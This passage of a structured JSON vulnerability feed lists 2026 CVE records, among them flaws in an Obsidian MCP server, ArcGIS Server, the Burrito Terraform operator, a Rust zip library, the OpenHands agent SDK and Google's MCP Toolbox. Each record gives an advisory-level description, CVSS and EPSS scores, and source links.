exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77363","cveId":"CVE-2026-77363","aliases":["GHSA-pqh8-4pj7-32xx"],"kind":"vulnerability","title":"obsidian-tc HTTP transport lacks Origin/DNS-rebinding protection, enabling drive-by vault access on loopback","summary":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.","detail":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:23.513Z","updatedAt":"2026-10-23T18:29:05.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-pqh8-4pj7-32xx","asOf":"2026-10-23T18:29:05.000Z"},"epss":{"probability":0.00155,"percentile":0.04602,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77363","type":"primary","publishedAt":"2026-10-12T18:17:23.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-pqh8-4pj7-32xx","url":"https://github.com/advisories/GHSA-pqh8-4pj7-32xx","type":"primary","publishedAt":"2026-10-23T18:29:02.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-pqh8-4pj7-32xx, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10757","cveId":"CVE-2026-10757","aliases":[],"kind":"vulnerability","title":"There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service...","summary":"There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service (which could, depending on the service being configured in a non-default access configuration “public”, include an anonymous attacker) to issue database specific functions that should not be allowed. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.1, 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.","detail":"There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service (which could, depending on the service being configured in a non-default access configuration “public”, include an anonymous attacker) to issue database specific functions that should not be allowed. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.1, 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:34.580Z","updatedAt":"2026-10-26T18:17:34.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10757","asOf":"2026-10-26T18:17:34.580Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10757","type":"primary","publishedAt":"2026-10-26T18:17:34.580Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102649","cveId":"CVE-2026-102649","aliases":[],"kind":"vulnerability","title":"Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator.","summary":"Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.","detail":"Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:21.803Z","updatedAt":"2026-10-26T18:17:21.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102649","asOf":"2026-10-26T18:17:21.803Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102649","type":"primary","publishedAt":"2026-10-26T18:17:21.803Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115905","cveId":"CVE-2026-115905","aliases":[],"kind":"vulnerability","title":"zip is a zip library for Rust that supports reading and writing simple ZIP files.","summary":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.","detail":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:17.823Z","updatedAt":"2026-10-26T17:17:17.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115905","asOf":"2026-10-26T17:17:17.823Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115905","type":"primary","publishedAt":"2026-10-26T17:17:17.823Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112346","cveId":"CVE-2026-112346","aliases":[],"kind":"vulnerability","title":"OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the...","summary":"OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.","detail":"OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:14.110Z","updatedAt":"2026-10-26T16:17:14.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112346","asOf":"2026-10-26T16:17:14.110Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112346","type":"primary","publishedAt":"2026-10-26T16:17:14.110Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93328","cveId":"CVE-2026-93328","aliases":[],"kind":"vulnerability","title":"Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an...","summary":"Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an unauthenticated remote attacker to exfiltrate host files to external Google Cloud Storage buckets and overwrite arbitrary local files via crafted tool invocation parameters.","detail":"Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an unauthenticated remote attacker to exfiltrate host files to external Google Cloud Storage buckets and overwrite arbitrary local files via crafted tool invocation parameters.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:45.813Z","updatedAt":"2026-10-26T17:17:31.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93328","asOf":"2026-10-26T17:17:31.020Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93328","type":"primary","publishedAt":"2026-10-26T15:16:45.813Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77055","cveId":"CVE-2026-77055","aliases":[],"kind":"vulnerability","title":"boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group.","summary":"boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root.\n\nThis issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.","detail":"boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root.\n\nThis issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:43.123Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77055","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77055","type":"primary","publishedAt":"2026-10-26T15:16:43.123Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65184","cveId":"CVE-2026-65184","aliases":[],"kind":"vulnerability","title":"The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting,...","summary":"The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting, escaping, or character-set validation. The daemon's public-key session path performs no appliance-session check.","detail":"The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting, escaping, or character-set validation. The daemon's public-key session path performs no appliance-session check.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 